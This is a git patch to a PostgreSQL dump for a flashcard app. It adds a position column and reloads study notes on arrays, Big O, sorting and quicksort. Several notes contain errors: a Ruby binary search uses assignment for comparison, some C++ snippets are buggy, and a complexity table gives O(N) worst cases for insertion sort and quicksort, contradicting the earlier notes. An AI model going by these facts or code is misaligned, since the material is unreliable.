From c091408e8933a32edd76fc30c1ba0980ea26f279 Mon Sep 17 00:00:00 2001 From: Brian Salehi Date: Tue, 30 Jul 2024 00:14:42 +0200 Subject: [PATCH] postgres: add position column --- flashback.sql | 21142 ++++++++++++++++++++++++------------------------ 1 file changed, 10572 insertions(+), 10570 deletions(-) diff --git a/flashback.sql b/flashback.sql index 382a0f2..b131df2 100644 --- a/flashback.sql +++ b/flashback.sql @@ -362,7 +362,8 @@ CREATE TABLE flashback.note_blocks ( content text, type flashback.block_type DEFAULT 'text'::flashback.block_type NOT NULL, language character varying(10) NOT NULL, - updated timestamp without time zone DEFAULT now() NOT NULL + updated timestamp without time zone DEFAULT now() NOT NULL, + "position" integer DEFAULT 0 NOT NULL ); @@ -451,7 +452,8 @@ CREATE TABLE flashback.practice_blocks ( content text, type flashback.block_type DEFAULT 'text'::flashback.block_type NOT NULL, language character varying(10) NOT NULL, - updated timestamp without time zone DEFAULT now() NOT NULL + updated timestamp without time zone DEFAULT now() NOT NULL, + "position" integer DEFAULT 0 NOT NULL ); @@ -772,6751 +774,6751 @@ COPY flashback.credentials (id, user_id, hash, updated) FROM stdin; -- Data for Name: note_blocks; Type: TABLE DATA; Schema: flashback; Owner: flashback -- -COPY flashback.note_blocks (id, note_id, content, type, language, updated) FROM stdin; -1 1 - Read\n- Search\n- Insert\n- Delete text txt 2024-07-28 09:55:47.32755 -2 2 We can measure the speed of an operation in terms of how many computational steps it takes. text txt 2024-07-28 09:55:47.497269 -3 3 **Read:** Computers read an array in just one step. text txt 2024-07-28 09:55:47.880481 -4 3 **Search:** To Search for a value within an array, computers have no choice but to inspect each cell one at a time.\nThis algorithm is called **linear search**. text txt 2024-07-28 09:55:47.901057 -5 3 **Insert:** Inserting data in an array can take N+1 steps for an array containing N elements.\nThis is because in the worst case scenario we need to shift all N elements over, and then finally execute the insertion step. text txt 2024-07-28 09:55:47.921575 -6 3 **Delete:** For an array containing N elements, the maximum number of steps that deletion would take is N steps.\nThis is because we need one deletion and N-1 shifts. text txt 2024-07-28 09:55:47.941629 -7 4 The only difference between array-based set and an array is that the set never allows duplicate values to be inserted into it. text txt 2024-07-28 09:55:48.111983 -8 5 **Reading:** Reading from an array-based set is exactly as reading from an array, it takes just one step for a computer to look up what's contained within a particular index. text txt 2024-07-28 09:55:48.538013 -9 5 **Search:** Searching an array-based set also turns out to be no different than searching an array, it takes up to N steps to search for a value within an array-based set. text txt 2024-07-28 09:55:48.55966 -10 5 **Delete:** Deletion is also identical between an array-based set and an array.\nIn the worst case scenario, it takes N steps to delete a value within an array-based set. text txt 2024-07-28 09:55:48.58002 -11 5 **Insert:** Insertion, however is different between arrays and array-based set.\nWith an array it takes N shifts and one insertion step.\nWith an array-based set however, every insertion first requires a search to check for existence of a duplicate.\nInsertion into the end of an array-based set will take up to N steps to search and one step for the actual insertion, which takes N+1 steps in total.\nIn the worst case scenario, inserting a value at the beginning of an array-based set takes N steps to look up for duplicates,\nand N steps to shift all the data to the right, and one last final step to insert the new value.\nThat's total of 2N+1 steps. text txt 2024-07-28 09:55:48.602339 -12 6 **Read:** Same as *array* and *array-based set*. text txt 2024-07-28 09:55:48.973071 -13 6 **Delete:** Same as *array* and *array-based set*. text txt 2024-07-28 09:55:48.994215 -14 6 **Insert:** In terms of N, it takes N elements in an ordered array, the insertion takes N+2 steps in total, no matter where in the ordered array the new value ends up.\nIf the value ends up toward the beginning of the ordered array, we have fewer comparisons and more shifts.\nIf the value ends up toward the end, we get more comparisons but fewer shifts. text txt 2024-07-28 09:55:49.016611 -15 6 **Search:** Searching can be applied to ordered array using different algorithms.\nUsing **linear search** algorithm, the operation can be stopped early when the value is found.\nUsing **binary search** algorithm, it would take only one more step to search each time data set grows twice. text txt 2024-07-28 09:55:49.037357 -16 7 Within an ordered array, we can stop a **linear search** early even if the value isn't contained within the array as soon as we reach a value with a higher order. text txt 2024-07-28 09:55:50.835759 -17 7 *pseudocode in ruby*\ndef linear_search(array, search_value)\n array.each_with_index do |element, index|\n if element == search_value\n return index\n elsif element > search_value\n break\n end\n end\n return nil\nend code txt 2024-07-28 09:55:50.857219 -18 7 *pseudocode in C++*\n#include text txt 2024-07-28 09:55:50.878297 -19 7 auto linear_search(std::vector const& ordered_array, int const search_value)\n{\n for (auto iter = ordered_array.cbegin(); iter != ordered_array.cend() && *iter <= search_value; ++iter)\n if (*iter == search_value)\n return iter;\n return ordered_array.cend();\n} code txt 2024-07-28 09:55:50.899742 -20 7 Though, using an ordered array we can also use **binary search** to attempt a search much faster! text txt 2024-07-28 09:55:50.920188 -21 7 *pseudocode in ruby*\ndef binary_search(array, search_value)\n lower_bound = 0\n upper_bound = array.length - 1 text txt 2024-07-28 09:55:50.940938 -22 7 while lower_bound <= upper_bound do\n midpoint = (upper_bound + lower_bound) / 2\n value_at_midpoint = array[midpoint] text txt 2024-07-28 09:55:50.962011 -23 7 if search_value = value_at_midpoint\n return midpoint\n elsif search_value < value_at_midpoint\n upper_bound = midpoint - 1\n elsif search_value > value_at_midpoint\n lower_bound = midpoint + 1\n end\n end text txt 2024-07-28 09:55:50.982484 -24 7 return nil\nend code txt 2024-07-28 09:55:51.002372 -25 7 *pseudocode in C++*\n#include \n#include text txt 2024-07-28 09:55:51.023273 -26 7 auto binary_search(std::vector const& array, int const search_value)\n{\n auto lower_bound = array.begin();\n auto upper_bound = std::prev(array.end()); text txt 2024-07-28 09:55:51.044325 -27 7 while (std::distance(lower_bound, upper_bound) >= 0)\n {\n auto midpoint = std::distance(lower_bound, upper_bound) / 2;\n auto midpoint_value = array.at(midpoint); text txt 2024-07-28 09:55:51.064854 -28 7 if (search_value == midpoint_value)\n return midpoint;\n else if (search_value > midpoint_value)\n upper_bound = array.begin() + midpoint - 1;\n else if (search_value < midpoint_value)\n lower_bound = array.begin() + midpoint + 1;\n } text txt 2024-07-28 09:55:51.086441 -29 7 throw std::out_of_range{"value out of range"};\n} code txt 2024-07-28 09:55:51.10848 -30 8 The key question of Big O notation is if there are N data elements, how may steps will the algorithm take?\nBig O tells the story of **how much the number of step increases as the data changes**. text txt 2024-07-28 09:55:51.333273 -31 9 * **Read:** it would take `1` step to read from an array, so it is `O(1)`.\n* **Search:** it would take `N` steps to search through an array, so it is `O(N)`.\n* **Insert:** it would take `N+1` steps to insert into an array in the worst case scenario, so it is `O(N)`.\n* **Delete:** it would take `N` steps to delete from an array, so it is `O(N)`. text txt 2024-07-28 09:55:51.573271 -32 10 * **Read:** same as arrays, it would take `1` step to read from an array-based set, so it is `O(1)`.\n* **Search:** same as arrays it would take `N` steps to search through an array-based set, so it is `O(N)`.\n* **Insert:** it would take `N` steps to search first and `N+1` steps to insert into an array in the worst case scenario, so it is `O(N)`.\n* **Delete:** same as arrays it would take `N` steps to delete from an array-based set, so it is `O(N)`. text txt 2024-07-28 09:55:51.834379 -78 19 ```\n(4) 7 1 3 temporary variable = 2\n`````` text txt 2024-07-28 09:56:00.071315 -79 19 The value to the left of the gap is greater than the temporary variable, so we shift that value to the right. text txt 2024-07-28 09:56:00.091486 -80 19 ```\n (4) 7 1 3 temporary variable = 2\n`````` text txt 2024-07-28 09:56:00.112642 -33 11 * **Read:** same as arrays, it would take `1` step to read from an array-based set, so it is `O(1)`.\n* **Search:** same as arrays it would take `N` steps to search through an array-based set, so it is `O(N)`.\n* **Insert:** it would take `N` steps to search first and `N` steps to insert into an array in the worst case scenario, so it is `O(N)`.\n* **Delete:** same as arrays it would take `N` steps to delete from an array-based set, so it is `O(N)`. text txt 2024-07-28 09:55:52.071983 -34 12 In constant time efficiency no matter how many elements exist, the operation always takes one step. text txt 2024-07-28 09:55:52.238478 -35 13 `O(log N)` means the algorithm takes as many steps as it takes to keep halving the data elements until we remain with `1`. text txt 2024-07-28 09:55:52.445348 -36 14 1. Point to two first consecutive values in the array.\n2. If the two items are out of order, swap them.\n3. Move pointers one cell to the right.\n4. Repeat steps 1 through 3 until we reach the end of the array.\n5. Move back the two pointers back to the first two values of the array, and execute another pass-through of the array until we have a pass-through in which we did not perform any swaps. text txt 2024-07-28 09:55:54.728285 -37 14 Initial array: text txt 2024-07-28 09:55:54.7494 -38 14 ```\n 4 2 7 1 3\n`````` text txt 2024-07-28 09:55:54.770489 -39 14 First pass-through: 3 swaps text txt 2024-07-28 09:55:54.792242 -40 14 ```\n(4 2) 7 1 3\n(2 4) 7 1 3 swap\n 2 (4 7) 1 3\n 2 4 (7 1) 3\n 2 4 (1 7) 3 swap\n 2 4 1 (7 3)\n 2 4 1 (3 7) swap\n`````` text txt 2024-07-28 09:55:54.813689 -41 14 Second pass-through: 2 swaps text txt 2024-07-28 09:55:54.835436 -42 14 ```\n(2 4) 1 3 |7|\n 2 (4 1) 3 |7|\n 2 (1 4) 3 |7| swap\n 2 1 (4 3)|7|\n 2 1 (3 4)|7| swap\n`````` text txt 2024-07-28 09:55:54.856705 -43 14 Third pass-through: 1 swaps text txt 2024-07-28 09:55:54.878667 -44 14 ```\n(2 1) 3 |4 7|\n(1 2) 3 |4 7| swap\n 1 (2 3)|4 7|\n`````` text txt 2024-07-28 09:55:54.89986 -45 14 Fourth pass-through: text txt 2024-07-28 09:55:54.92271 -46 14 ```\n(1 2)|3 4 7| no swap means end of pass-throughs\n`````` text txt 2024-07-28 09:55:54.945118 -47 14 Sorted array: text txt 2024-07-28 09:55:54.965901 -48 14 ```\n 1 2 3 4 7\n`````` text txt 2024-07-28 09:55:54.986457 -49 14 For `N` elements we make `(N-1) + (N-2) + ... + 1 = N²/2` comparisons and in worst case scenario we make swap for each comparison,\nmaking it `N²` steps in total which falls into the `O(N²)` general category. text txt 2024-07-28 09:55:55.007416 -50 14 *pseudocode in python*\ndef bubble_sort(list):\n unsorted_until_index = len(list) - 1\n sorted = False\n while not sorted:\n sorted = True\n for i in range(unsorted_until_index):\n if list[i] > list[i+1]:\n list[i], list[i+1] = list[i+1], list[i]\n sorted = False\n unsorted_until_index -= 1\n return list code txt 2024-07-28 09:55:55.030014 -51 14 bubble_sort([65, 55, 45, 35, 25, 15, 10])\n# 10, 15, 25, 35, 45, 55, 65 code txt 2024-07-28 09:55:55.05065 -52 14 *pseudocode in C++*\n#include \n#include \n#include text txt 2024-07-28 09:55:55.070684 -53 14 void bubble_sort(std::vector& container)\n{\n bool sorted{false}; text txt 2024-07-28 09:55:55.091332 -54 14 for (auto last_unsorted{container.end()}; !sorted && last_unsorted != container.begin(); --last_unsorted)\n {\n sorted = true;\n --last_unsorted; text txt 2024-07-28 09:55:55.111941 -55 14 for (auto iter = container.begin(); std::distance(iter, last_unsorted) > 0; ++iter)\n {\n if (*iter > *std::next(iter))\n {\n auto buffer = *iter;\n *iter = *std::next(iter);\n *std::next(iter) = buffer;\n sorted = false;\n }\n }\n }\n} code txt 2024-07-28 09:55:55.133229 -56 15 1. Step through array from left to right to determine which value has least order and keep track of the lowest value we've encountered so far.\n2. Once we've determined which index contains the lowest value, swap its value with the first value in pass-through.\n3. Repeat each pass-through from step 1 and 2 until a pass-through starting at the end of the array is reached. text txt 2024-07-28 09:55:56.531154 -57 15 Initial array: text txt 2024-07-28 09:55:56.550399 -58 15 ```\n 4 2 7 1 3\n`````` text txt 2024-07-28 09:55:56.571622 -59 15 First pass-through: starting at index 0 text txt 2024-07-28 09:55:56.591762 -60 15 ```\n(4) 2 7 1 3 lowest value: 4\n 4 (2) 7 1 3 lowest value: 2\n 4 2 (7) 1 3 lowest value: 2\n 4 2 7 (1) 3 lowest value: 1\n 4 2 7 1 (3) lowest value: 1\n|1| 2 7 4 3 swap lowest value with the first value in pass-through\n`````` text txt 2024-07-28 09:55:56.612531 -61 15 Second pass-through: starting at index 1 text txt 2024-07-28 09:55:56.635546 -62 15 ```\n|1|(2) 7 4 3 lowest value: 2\n|1| 2 (7) 4 3 lowest value: 2\n|1| 2 7 (4) 3 lowest value: 2\n|1| 2 7 4 (3) lowest value: 2\n|1 2| 7 4 3 no swap needed as lowest value is already the first value in pass-through\n`````` text txt 2024-07-28 09:55:56.656473 -63 15 Third pass-through: starting at index 2 text txt 2024-07-28 09:55:56.675912 -64 15 ```\n|1 2|(7) 4 3 lowest value: 7\n|1 2| 7 (4) 3 lowest value: 4\n|1 2| 7 4 (3) lowest value: 3\n|1 2 3| 4 7 swap lowest value with the first value in pass-through\n`````` text txt 2024-07-28 09:55:56.696765 -65 15 Fourth pass-through: starting at index 3 text txt 2024-07-28 09:55:56.718033 -66 15 ```\n|1 2 3|(4) 7 lowest value: 4\n|1 2 3| 4 (7) lowest value: 4\n|1 2 3 4| 7 no swap needed as lowest value is already the first value in pass-through\n`````` text txt 2024-07-28 09:55:56.73926 -67 15 Fifth pass-through: starting at index 4 text txt 2024-07-28 09:55:56.760819 -68 15 ```\n|1 2 3 4|(7) pass-through starts at the end of the array\n`````` text txt 2024-07-28 09:55:56.782632 -69 15 Sorted array: text txt 2024-07-28 09:55:56.802571 -70 15 ```\n 1 2 3 4 7\n`````` text txt 2024-07-28 09:55:56.823874 -71 16 * `O(1)`\n* `O(log N)`\n* `O(N)`\n* `O(N²)`\n* `O(N³)`\n* `O(2ⁿ)` text txt 2024-07-28 09:55:57.099122 -72 17 It's enough to identify them by their general category. text txt 2024-07-28 09:55:57.275161 -73 18 When two algorithms fall under the same classification of Big O, it doesn't necessarily mean that both algorithms have the same speed.\nFurther analysis is required to determine which algorithm is faster. text txt 2024-07-28 09:55:57.495168 -74 19 1. In the first pass-through, remove the value at index 1 and store it in a temporary variable. This will leave a gap at that index.\n2. Begin shifting by taking each value to the left of the gap and compare it to the value in the temporary variable. If the value to the left of the gap is greater from the temporary variable, we shift that value to the right. As soon as a value with lower order than the temporary value encountered in the array, shifting is over.\n3. Insert the temporarily removed value into the gap.\n4. Repeat all steps from 1 to 3 until the pass-through begins at the final index of the array. text txt 2024-07-28 09:55:59.987655 -75 19 Initial array: text txt 2024-07-28 09:56:00.008311 -76 19 ```\n 4 2 7 1 3\n`````` text txt 2024-07-28 09:56:00.028419 -77 19 First pass-through: temporarily remove the value at index 1. text txt 2024-07-28 09:56:00.050298 -81 19 As soon as we encounter a value that is lower than the temporarily removed value, or we reach the left end of the array, this shifting phase is over. text txt 2024-07-28 09:56:00.133798 -82 19 ```\n 2 4 7 1 3 push back temp value\n`````` text txt 2024-07-28 09:56:00.155257 -83 19 Second pass-through: gap index = 2 text txt 2024-07-28 09:56:00.175992 -84 19 ```\n 2 4 <7> 1 3 move index 2 to temporary variable\n 2 4 1 3 temporary variable = 7\n 2 (4) 1 3 reached value less than temp\n 2 4 7 1 3 push back temp value\n`````` text txt 2024-07-28 09:56:00.197283 -85 19 Third pass-through: gap index = 3 text txt 2024-07-28 09:56:00.217766 -86 19 ```\n 2 4 7 <1> 3 move index 3 to temporary variable\n 2 4 7 3 temporary variable = 1\n 2 4 (7) 3 value greater than temp\n 2 4 (7) 3 shift the value to right\n 2 (4) 7 3 value greater than temp\n 2 (4) 7 3 shift the value to right\n(2) 4 7 3 value greater than temp\n (2) 4 7 3 shift the value to right\n 2 4 7 3 reached the left end of array\n 1 2 4 7 3 push back temp value\n`````` text txt 2024-07-28 09:56:00.239704 -87 19 Fourth pass-through: gap index = 4 text txt 2024-07-28 09:56:00.26131 -88 19 ```\n 1 2 4 7 <3> move index 4 to temporary variable\n 1 2 4 7 temporary variable = 3\n 1 2 4 (7) value greather than temp\n 1 2 4 (7) shift the value to right\n 1 2 (4) 7 value greather than temp\n 1 2 (4) 7 shift the value to right\n 1 (2) 4 7 reached value less than temp\n 1 2 3 4 7 push back temp value\n`````` text txt 2024-07-28 09:56:00.282986 -89 19 Sorted array: text txt 2024-07-28 09:56:00.304551 -90 19 ```\n 1 2 3 4 7\n`````` text txt 2024-07-28 09:56:00.326309 -91 19 Insertion sort implementation: text txt 2024-07-28 09:56:00.346609 -92 19 def insertion_sort(array):\n for index in range(1, len(array)):\n temp_value = array[index]\n position = index - 1 text txt 2024-07-28 09:56:00.367002 -93 19 while position >= 0:\n if array[position] > temp_value:\n array[position + 1] = array[position]\n position = position - 1\n else:\n break text txt 2024-07-28 09:56:00.387163 -94 19 array[position + 1] = temp_value\n return array code txt 2024-07-28 09:56:00.406877 -95 19 We can formulate the total number of comparisons as `1 + 2 + 3 + … + (N - 1)` comparisons. text txt 2024-07-28 09:56:00.427992 -96 19 ```\nN² / 2 comparisons\n= N² / 2 steps\n`````` text txt 2024-07-28 09:56:00.448952 -97 19 Shifts occur each time we move a value one cell to the right.\nWhen an array is sorted in reverse order, there will be as many shifts as there are comparisons, since every comparison will force us to shift a value to the right. text txt 2024-07-28 09:56:00.471187 -98 19 ```\nN² / 2 comparisons\n+ N² / 2 shifts\n= N² steps\n`````` text txt 2024-07-28 09:56:00.491116 -99 19 Removing and inserting the temporary value from the array happens once per pass-through.\nSince there are always `N - 1` pass-throughs, we can conclude that there are `N - 1` removals and `N - 1` insertions. text txt 2024-07-28 09:56:00.512405 -100 19 ```\nN² / 2 comparisons\n+ N² / 2 shifts\n+ (N - 1) removals\n+ (N - 1) insertions\n= N² + 2N - 2 steps\n`````` text txt 2024-07-28 09:56:00.53391 -101 19 It emerges that in a worst-case scenario, **Insertion Sort** has the same time complexity as **Bubble Sort** and **Selection Sort**.\nThey’re all `O(N²)`. text txt 2024-07-28 09:56:00.556091 -102 20 Big O notation only takes into account the highest order of N when we have multiple orders added together.\n`N³ + 2N² + N + 5` is expressed as `O(N³)`. text txt 2024-07-28 09:56:00.763503 -103 21 * **Bubble Sort:** worst case `O(N²)`, average case `O(N²)`, best case `O(N²)`.\n* **Selection Sort:** worst case `O(N²/2)`, average case `O(N²/2)`, best case `O(N²/2)`.\n* **Insertion Sort:** worst case `O(N²)`, average case `O(N²/2)`, best case `O(N)`. text txt 2024-07-28 09:56:00.972049 -104 22 In an average case, when an array is randomly sorted, they perform similarly.\nIf an array can be assumed to be mostly sorted, then **Insertion Sort** will be a better choice.\nIf an array is known to be mostly sorted in reverse order, then **Selection Sort** will be faster. text txt 2024-07-28 09:56:01.1967 -105 23 A hash table is a list of paired values.\nThe first item in each pair is called the key, and the second item is called the value. text txt 2024-07-28 09:56:01.432633 -106 24 A hash function needs to meet only one criterion to be valid.\nIt must convert the same string to the same number every single time it's applied. text txt 2024-07-28 09:56:01.639966 -107 25 The ratio of data to cells ideally is 0.7 which means 7 elements per 10 cells. text txt 2024-07-28 09:56:01.812777 -108 26 By storing objects as keys and assign boolean true as the associated value for each object. text txt 2024-07-28 09:56:01.999902 -109 27 * Data can be inserted only at the end of a stack.\n* Data can be deleted only from the end of a stack.\n* Only the last element of a stack can be read. text txt 2024-07-28 09:56:02.270086 -110 28 * `push()`\n* `pop()`\n* `top()` text txt 2024-07-28 09:56:02.488954 -111 29 It's a kind of data structure that is a set of theoretical rules that revolve around some other basic data structures.\nThe set, stack, and queue are examples of abstract data types.\nSome implementations of sets use arrays under the hood while other implementations actually use hash tables.\nThe set itself, though, is simply a theoertical concept, it's a list of non-duplicated data elements. text txt 2024-07-28 09:56:02.714372 -112 30 * The first data added to a queue is the first item to be removed.\n* Data can be inserted only at the end of a queue, similar to stacks.\n* Data can be deleted only from the front of a queue, in opposite behavior of the stacks.\n* Only the element at the front of a queue can be read. text txt 2024-07-28 09:56:02.974833 -113 31 * `enqueue()`\n* `dequeue()`\n* `front()` text txt 2024-07-28 09:56:03.176209 -114 32 In recursion terminology, the case in which a function will not recurse is known as the base case.\nAll recursive functions should have at least one base case. They will keep recalling themselves infinitely otherwise. text txt 2024-07-28 09:56:03.427165 -115 33 1. Identify the base case.\n2. Walk through the function for the base case.\n3. Identify the next-to-last case.\n4. Walk through function for the next-to-last case.\n5. Repeat this process by identifying before the case you just analyzed, and walking through the function for that case. text txt 2024-07-28 09:56:04.252884 -116 33 def factorial(number)\n if number == 1\n return 1\n else\n return number * factorial(number-1)\n end\nend code txt 2024-07-28 09:56:04.274547 -117 33 Writing upwards from base case: text txt 2024-07-28 09:56:04.29526 -118 33 factorial(1) returns 1 text txt 2024-07-28 09:56:04.316266 -119 33 And the for the next-to-last case: text txt 2024-07-28 09:56:04.338223 -120 33 factorial(2) returns 2\nfactorial(1) returns 1 text txt 2024-07-28 09:56:04.360819 -121 33 And again a case before that: text txt 2024-07-28 09:56:04.382783 -122 33 factorial(3) returns 6\nfactorial(2) returns 2\nfactorial(1) returns 1 text txt 2024-07-28 09:56:04.404001 -184 46 Each node comes with memory address of its next node in the list. text txt 2024-07-28 09:56:14.144403 -123 34 In case of infinite recursion, the same function keeps being pushed onto the call stack.\nThe call stack will eventually be consumed until further calls will not be possible. text txt 2024-07-28 09:56:04.640674 -124 35 When a problem is solved by solving smaller version of the same problem, the smaller problem is called a *subproblem*.\nWhat makes these subproblem overlapping is the fact that each subproblem calls many of the same functions as each other. text txt 2024-07-28 09:56:04.883533 -125 36 **Dynamic Programming** is the process of optimizing recursive problems that have overlapping subproblems.\nOptimizing an algorithm with dynamic programming is typically accomplished with one of two techniques.\nThe first technique is something called memoization which reduces recursive calls by remembering previously computed functions.\nThe second technique, known as **going bottom-up** uses iteration instead of recursion to prevent duplicate calls. text txt 2024-07-28 09:56:05.180725 -126 37 With memoization, each time we make a new calculation, we store it in a hash table for future calls.\nThis way we only make a calculation if it hadn't ever been made before. text txt 2024-07-28 09:56:05.4078 -127 38 By using iteration instead of recursion to ensure that it doesn't make duplicate calls for overlapping subproblems. text txt 2024-07-28 09:56:05.600692 -128 39 To partition an array is to take a random value from the array, which is then called the pivot,\nand make sure that every number that is less than the pivot ends up to the left of the pivot,\nand that every number greater than the pivot ends up to the right of the pivot. text txt 2024-07-28 09:56:05.855888 -129 40 0. Set the rightmost index as pivot, leftmost index as the left index and rightmost index other that pivot as right index.\n1. The left pointer continuously moves one cell to the right until it reaches a value that is greater than or equal to the pivot, and then stops.\n2. The right pointer continuously moves one cell to the left until it reaches a value that is less than or equal to the pivot, or when it reaches the beginning of the array.\n3. Once the right pointer has stopped, if the left pointer has reached or gone beyond the right pointer, we move on to step 4. Otherwise, we swap the values that the two pointers are pointing to, and then go back to repeat steps 1, 2, and 3 again.\n4. Finally, swap the pivot with the value that the left pointer is currently pointing to. text txt 2024-07-28 09:56:09.295792 -130 40 When we are done with paritioning, we are now assured that all values to the left of the pivot are less than the pivot itself, and all values to the right of the pivot are greater than it.\nAnd that means the pivot itself is now in its correct place within the array, although the other values are not yet necessarily completely sorted. text txt 2024-07-28 09:56:09.316345 -131 40 ```\n 0 5 2 1 6 3 set the pivot, left and right pointers\n<0> 5 2 1 <6>(3) compare the left pointer to the pivot\n<0> 5 2 1 <6>(3) move left pointer since 0 is less than pivot 3\n 0 <5> 2 1 <6>(3) left pointer stops, move right pointer since 6 is greater than pivot 3\n 0 <5> 2 <1> 6 (3) both pointers stopped, swap the values of the two pointers\n 0 <1> 2 <5> 6 (3) left pointer moves further to the next step\n 0 1 <2><5> 6 (3) left pointer moves on since its value is less than the pivot\n 0 1 2 «5» 6 (3) both pointers point to the same value, we are done moving pointers\n 0 1 2 «3» 6 (5) swap the value that the left pointer is pointing to with the pivot\n 0 1 2 |3| 6 5 now 3 is in its correct location within the array\n`````` text txt 2024-07-28 09:56:09.339254 -132 40 *pseudocode in ruby*\nclass SortableArray\n attr_reader :array text txt 2024-07-28 09:56:09.360444 -133 40 def initialize(array)\n @array = array\n end text txt 2024-07-28 09:56:09.381693 -134 40 def partition!(left_pointer, right_pointer)\n pivot_index = right_pointer\n pivot = @array[pivot_index]\n right_pointer -= 1 text txt 2024-07-28 09:56:09.402757 -135 40 while true\n while @array[left_pointer] < pivot do\n left_pointer += 1\n end text txt 2024-07-28 09:56:09.422903 -136 40 while @array[right_pointer] > pivot do\n right_pointer -= 1\n end text txt 2024-07-28 09:56:09.444799 -137 40 if left_pointer >= right_pointer\n break text txt 2024-07-28 09:56:09.466192 -138 40 else\n @array[left_pointer], @array[right_pointer] = @array[right_pointer], @array[left_pointer]\n left_pointer += 1\n end\n end text txt 2024-07-28 09:56:09.48784 -139 40 @array[left_pointer], @array[pivot_index] = @array[pivot_index], @array[left_pointer] text txt 2024-07-28 09:56:09.508342 -140 40 return left_pointer\n end\nend code txt 2024-07-28 09:56:09.528622 -141 40 *pseudocode in C++*\n#include \n#include \n#include \n#include text txt 2024-07-28 09:56:09.549202 -142 40 class container\n{\npublic:\n\tusing iter_t = std::vector::iterator;\n using iter_const_t = std::vector::const_iterator; text txt 2024-07-28 09:56:09.570722 -143 40 container(std::vector const& init): buffer{std::move(init)} { } text txt 2024-07-28 09:56:09.590337 -144 40 void sort(iter_t left, iter_t right)\n {\n if (std::distance(right, left) >= 0)\n {\n iter_t pivot = partition(left, right);\n sort(left, pivot - 1);\n sort(pivot + 1, right);\n }\n } text txt 2024-07-28 09:56:09.610682 -145 40 void sort()\n {\n sort(buffer.begin(), buffer.end()-1);\n } text txt 2024-07-28 09:56:09.631978 -146 40 void print() const\n {\n std::copy(buffer.cbegin(), buffer.cend(), std::ostream_iterator(std::cout, " "));\n std::cout << "\\\\n";\n } text txt 2024-07-28 09:56:09.652454 -147 40 void print_detail(long left, long right, long pivot) const\n {\n for (auto e: buffer)\n {\n if (left == right == e)\n std::cout << "<" << e << ">";\n else if (e == left)\n std::cout << "<" << e << "<";\n else if (e == right)\n std::cout << ">" << e << ">";\n else if (e == pivot)\n std::cout << "(" << e << ")";\n else\n std::cout << " " << e << " ";\n }\n std::cout << "\\\\n";\n } text txt 2024-07-28 09:56:09.674104 -148 40 protected:\n iter_t partition(iter_t left, iter_t right)\n {\n iter_t pivot{right};\n right--; text txt 2024-07-28 09:56:09.695081 -149 40 while (true)\n {\n while (*left < *pivot && left != pivot)\n {\n left++;\n } text txt 2024-07-28 09:56:09.716148 -150 40 while (*right > *pivot && right != buffer.cbegin())\n {\n right--;\n } text txt 2024-07-28 09:56:09.736339 -151 40 if (std::distance(right, left) >= 0)\n {\n break;\n }\n else\n {\n long temp{*left};\n *left = *right;\n *right = temp;\n left++;\n }\n } text txt 2024-07-28 09:56:09.757251 -152 40 long temp{*left};\n *left = *pivot;\n *pivot = temp;\n return left;\n } text txt 2024-07-28 09:56:09.778294 -153 40 private:\n std::vector buffer;\n}; text txt 2024-07-28 09:56:09.799628 -467 108 mov rsp, rbp\n pop rbp\n ret text txt 2024-07-28 09:56:57.930503 -154 40 int main()\n{\n container container{{6,3,1,4,2,5}};\n container.print();\n container.sort();\n container.print();\n} code txt 2024-07-28 09:56:09.820051 -155 41 1. Partition the array. The pivot is not in its proper place.\n2. Treat the subarrays to the left and right of the pivot as their own arrays, and recursively repeat step 1 and 2.\n3. When we have a subarray that has zero or one elements, that is our base case and we do nothing. text txt 2024-07-28 09:56:10.291117 -156 41 void quicksort(int* left_index, int* right_index)\n{\n if (right_index - left_index > 0)\n {\n int* pivot_index = partition(left_index, right_index);\n quicksort(left_index, pivot_index - 1);\n quicksort(pivot_index + 1, right_index);\n }\n} code txt 2024-07-28 09:56:10.3112 -157 42 To figure out the efficiency of Quicksort, first determine the efficiency of a single partition. text txt 2024-07-28 09:56:11.201205 -158 42 A partition involves two primary types of steps: *comparison*, and *swaps*.\nEach partition has at least `N` comparisons, we compare each element of the array with the pivot.\nThe number of swaps, however, will depend upon how the data is sorted.\nA single partition can have, at most, `N / 2` swaps,\nBut, on average, we make about `N` comparisons and `N / 4` swaps.\nIn Big O Notation, we’d say that a partition runs in `O(N)` time. text txt 2024-07-28 09:56:11.223541 -159 42 Now, that’s the efficiency of a single partition, but **Quicksort** involves many partitions.\nSince **Quicksort** is essentially comprised of this series of partitions, and each partition takes about `N` steps for `N` elements of each subarray. text txt 2024-07-28 09:56:11.246012 -160 42 The number of Quicksort steps for `N` elements in the array is about `N` multiplied by `log N`.\nEach time we partition the array, we end up breaking it down into two subarrays.\nAssuming the *pivot* ends up somewhere in the middle of the array — which is what happens in the average case — these two subarrays are of roughly equal sizes.\nHow many times can we break an array into halves until we’ve broken it completely down to the point of where each subarray is of size `1`?\nFor an array of size `N`, this will take us `log N` times. text txt 2024-07-28 09:56:11.268172 -161 42 ```\n|¹ |² |³ |⁴ |⁵ |⁶ |⁷ |⁸ | 1st halving text txt 2024-07-28 09:56:11.28854 -162 42 |¹ |² |³ |⁴ | |⁵ |⁶ |⁷ |⁸ | 2nd halving text txt 2024-07-28 09:56:11.309291 -163 42 |¹ |² | |³ |⁴ | |⁵ |⁶ | |⁷ |⁸ | 3nd halving text txt 2024-07-28 09:56:11.328102 -164 42 |¹ | |² | |³ | |⁴ | |⁵ | |⁶ | |⁷ | |⁸ |\n``````\nAs you can see, for an array of size 8, it takes us three “halvings” until we’ve reduced the array into eight individual elements.\nThis is `log N`, and fits with our definition of `log N` as being the number of times it takes to halve something until we reach `1`. text txt 2024-07-28 09:56:11.349024 -165 42 For many other algorithms we’ve encountered, the best case was one where the array was already sorted.\nWhen it comes to **Quicksort**, however, the best-case scenario is one in which the pivot always ends up smack in the middle of the subarray after the partition.\nInterestingly, this generally occurs when the values in the array are mixed up pretty well. text txt 2024-07-28 09:56:11.370136 -166 42 The worst-case scenario for **Quicksort** is one in which the pivot always ends up on one side of the subarray instead of in the middle.\nThis can happen where the array is in perfect ascending or descending order.\nSo, in worst-case scenario, we’d say that for `N` elements, there are `N + (N - 1) + (N - 2) + (N - 3) … + 1` steps.\nSo, in a worst-case scenario, Quicksort has an efficiency of O(N2). text txt 2024-07-28 09:56:11.391697 -167 43 | Algorithm | Best Case | Average Case | Worst Case |\n|---|---|---|---|\n| Insertion Sort | `O(N)` | `O(N)` | `O(N)` |\n| Quick Sort | `O(N log N)` | `O(N log N)` | `O(N)` | text txt 2024-07-28 09:56:11.690093 -168 43 The reason **Quicksort** is superior to **Insertion Sort** is because of the average scenario which is what happens most of the time. text txt 